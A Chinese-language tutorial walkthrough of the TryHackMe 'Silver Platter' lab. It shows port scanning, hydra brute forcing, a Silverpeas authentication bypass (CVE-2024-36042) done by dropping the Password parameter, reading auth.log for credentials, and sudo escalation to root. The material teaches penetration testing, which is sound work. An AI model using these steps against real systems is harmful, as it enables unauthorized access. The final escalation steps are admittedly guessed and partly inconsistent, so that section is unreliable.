TryHackMe: Silver Platter 渗透测试实战教学指南
文档版本: 1.0
目标读者: 对渗透测试、Web安全有基本了解的网络安全学习者
难度等级: 初级至中级
一、 实验目标与概述
本教学文档旨在复现并详细讲解TryHackMe房间“Silver Platter”的完整渗透测试过程。通过本次实战,您将学习到:
- 信息收集:使用端口扫描和目录枚举技术发现目标服务。
- 漏洞识别:根据服务指纹寻找相关的公开漏洞(CVE)。
- 漏洞利用:利用身份验证绕过漏洞获取系统初始访问权限。
- 权限提升:通过分析用户组权限和系统日志,实现横向移动和提权至root。
目标机器是一个运行着存在已知漏洞的Silverpeas协作平台(开源软件)的Linux系统。
二、 环境与工具准备
在开始之前,请确保您拥有以下环境与工具:
- 环境: 一个已连接到TryHackMe网络(或目标网络)的Kali Linux或类似渗透测试系统。
- 目标IP: 假设为
10.201.120.18(请根据实际目标替换)。 - 必要工具:
nmap: 端口扫描。dirsearch/gobuster: Web目录和文件枚举。cewl: 根据网站内容生成定制密码字典。hydra: 进行在线密码爆破。- 浏览器(如Firefox): 手动测试Web应用。
三、 渗透测试详细步骤
步骤 1: 信息收集 - 端口扫描
操作: 使用nmap对目标进行全端口扫描,以发现开放的服务。
命令:
nmap -sS -sV -p- 10.201.120.18
预期结果与关键点分析:
- 22/tcp (SSH): 安全外壳协议,用于远程登录。这是后续获取稳定shell的通道。
- 80/tcp (HTTP): 标准的Web服务。初步访问发现已被黑客入侵(Defaced),这可能是一个干扰项或提供线索。
- 8080/tcp (HTTP-Alt): 另一个Web服务端口。初始访问返回404,需要进一步探测。
教学要点: 永远不要只扫描默认的少量端口。全端口扫描能发现像8080、8443这样常用于开发、测试或管理后台的服务。
步骤 2: Web服务枚举 - 目录扫描
操作: 针对8080端口的Web服务进行目录和文件枚举,以发现隐藏的入口点。
命令:
dirsearch -u 'http://10.201.120.18:8080/' -e php,html,txt,js,json -t 30
关键发现与分析:
- 扫描结果中出现了多个指向
/noredirect.html的302重定向,例如:/console/.../console/login/LoginForm.jsp
- 最重要的是发现了
/silverpeas路径。这直接指明了目标正在运行 Silverpeas 协作平台。 - 在80端口的页面上,通过查看
contact信息或页面源代码,发现了一条关键线索:项目经理的用户名为scr1ptkiddy。
教学要点:
- 目录枚举是Web渗透的核心:许多应用的管理后台、API接口或配置文件都隐藏在深层目录中。
- 关注重定向:302重定向往往意味着访问被引导至登录页,这确认了该路径是需要认证的入口。
- 信息关联:将80端口发现的用户名
scr1ptkiddy与8080端口发现的silverpeas路径关联起来,构成了攻击面。
步骤 3: 漏洞识别与利用 - Silverpeas 身份验证绕过
操作: 尝试利用Silverpeas的已知漏洞进行未授权访问。
-
初始尝试 - 密码爆破:
- 使用
cewl爬取80端口网站内容,生成定制密码字典。cewl http://silverplatter.thm > passwords.txt - 使用
hydra对scr1ptkiddy用户进行密码爆破。hydra -l scr1ptkiddy -P passwords.txt silverplatter.thm -s 8080 http-post-form "/silverpeas/AuthenticationServlet:Login=^USER^&Password=^PASS^&DomainId=0:F=Login or password incorrect" - 结果: 爆破失败。这促使我们寻找非暴力的漏洞。
- 使用
-
关键漏洞利用 - CVE-2024-36042:
- 漏洞描述: Silverpeas CRM 6.3及之前版本存在身份验证绕过漏洞。攻击者可以通过构造特定的HTTP请求,在不提供正确密码的情况下登录系统。
- 利用方法:
- 访问登录页面:
http://10.201.120.18:8080/silverpeas/defaultLogin.jsp - 尝试使用已知用户名
scr1ptkiddy和任意密码登录,同时使用Burp Suite等工具拦截登录请求。 - 核心技巧: 在拦截到的POST请求数据中,直接删除
Password参数,然后转发请求。 - 请求示例(修改前):
Login=scr1ptkiddy&Password=anything&DomainId=0 - 请求示例(修改后,利用漏洞):
Login=scr1ptkiddy&DomainId=0
- 访问登录页面:
- 预期结果: 系统由于漏洞逻辑缺陷,在缺少密码参数时错误地认为认证成功,从而登录到
scr1ptkiddy的用户面板。
教学要点:
- CVE知识库的重要性: 遇到知名软件/框架时,第一时间搜索其公开漏洞是最高效的途径。
- 漏洞利用的灵活性: 并非所有漏洞都有现成的EXP。理解漏洞原理(如参数处理逻辑错误)后,可以手动构造请求进行利用。
步骤 4: 初始访问与横向移动
操作: 在Silverpeas平台内寻找更多凭据,以获取SSH访问权限。
-
内部信息收集:
- 登录成功后,浏览平台内部功能。文中提到查看了
notification和用户列表。 - 关键发现: 发现另一个用户
tyler(经理角色),并且平台内部提供了该用户的访问密码(可能是用于登录某些设备或服务的备注信息)。
- 登录成功后,浏览平台内部功能。文中提到查看了
-
获取SSH访问:
- 使用获得的
tyler用户名和密码,通过SSH登录到目标服务器。
ssh tyler@10.201.120.18- 结果: 成功获得一个低权限的交互式shell。可以执行
ls命令,并在当前目录或用户主目录下找到user.txt,读取第一个flag。
- 使用获得的
教学要点: 横向移动: 获取一个用户的权限后,不应停止。应继续在应用内部、配置文件、数据库或笔记中寻找其他用户的凭据,以扩大控制范围。
步骤 5: 权限提升 - 从 tyler 到 root
操作: 分析当前用户权限,寻找提权路径。
-
检查当前用户权限:
- 执行
id命令,查看tyler所属的用户组。id # 输出示例: uid=1002(tyler) gid=1002(tyler) groups=1002(tyler),4(adm) - 关键发现:
tyler用户属于adm组。
- 执行
-
理解
adm组权限:adm组的主要权限是读取系统日志文件(如/var/log/auth.log,/var/log/syslog)。- 查看
adm组有哪些成员:grep '^adm:' /etc/group。确认tyler和tim都在该组中。
-
利用日志文件提权:
- 由于
tyler可以读取系统日志,而SSH认证过程会被记录在/var/log/auth.log中。 - 搜索与
tim用户相关的日志,特别是他使用sudo或su的命令记录,可能会泄露密码或敏感信息。 - 命令:
grep -i 'tim' /var/log/auth.log # 或者更广泛地搜索 grep -ir 'password' /var/log/ 2>/dev/null | grep -i tim - 关键发现(根据文章推断): 在日志中发现
tyler用户曾经使用sudo su命令切换到了root用户。这意味着tyler本身已经拥有sudo权限。
- 由于
-
最终提权:
- 检查
tyler的sudo权限:sudo -l - 结果: 很可能显示
tyler可以以root身份执行所有命令(如(ALL:ALL) ALL)。 - 直接提权至root:
sudo su - 验证权限: 执行
whoami,返回root。现在可以访问系统上的任何文件,包括/root/root.txt,读取最终的flag。
- 检查
教学要点:
- Linux组权限审计: 理解每个标准用户组(如
adm,lxd,docker)的权限是提权的关键。adm组权限容易被忽视。- 日志中的秘密: 系统日志可能包含密码、命令历史等敏感信息,是提权的重要来源。
- sudo -l 命令: 这是渗透测试中必须执行的步骤,它能直接显示当前用户是否可以通过sudo提权。
四、 总结与知识点梳理
本次渗透测试流程清晰,涵盖了现代Web应用渗透的典型阶段:
| 阶段 | 使用技术/工具 | 关键知识点 |
|---|---|---|
| 信息收集 | nmap, dirsearch |
全端口扫描;Web目录/路径枚举;从页面源码中提取敏感信息(用户名)。 |
| 漏洞分析 | 搜索引擎、CVE数据库 | 根据服务指纹(Silverpeas)快速定位公开漏洞(CVE-2024-36042)。 |
| 漏洞利用 | 浏览器、Burp Suite | 理解漏洞原理并手动修改HTTP请求(删除密码参数)实现身份验证绕过。 |
| 后渗透/横向移动 | SSH | 在已攻破的应用内部寻找其他用户的凭据,实现权限扩展。 |
| 权限提升 | id, grep, sudo -l |
分析Linux用户组权限(adm);检查系统日志寻找敏感信息;利用sudo配置不当直接提权。 |
核心收获: 成功的渗透测试依赖于细致的信息收集、对漏洞原理的深刻理解以及系统性的权限提升思路。切忌在发现一个入口点后就停止探索,应持续挖掘,直到获得最高权限。
免责声明: 本文档仅用于网络安全教学和研究目的。请勿将文中所述技术用于任何非法活动。使用者需遵守《中华人民共和国网络安全法》及相关法律法规。